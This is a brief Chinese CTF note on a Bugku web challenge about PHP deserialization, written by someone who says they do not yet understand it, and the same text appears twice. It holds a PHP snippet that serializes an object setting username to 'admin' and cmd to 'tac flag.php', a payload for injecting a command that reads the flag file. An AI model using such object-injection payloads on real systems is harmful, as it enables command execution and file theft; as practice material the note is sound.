Bugku-web安慰奖(序列化)
php序列化的一个题目;;
参考博客:https://blog.csdn.net/weixin_44190459/article/details/116648636
目前还没有搞明白怎么一回事:
<?php
class ctf{
protected $username='admin';
protected $cmd='tac flag.php';
}
$ctf=new ctf();
echo serialize($ctf);
;?>
php序列化的一个题目;;
参考博客:https://blog.csdn.net/weixin_44190459/article/details/116648636
目前还没有搞明白怎么一回事:
<?php
class ctf{
protected $username='admin';
protected $cmd='tac flag.php';
}
$ctf=new ctf();
echo serialize($ctf);
;?>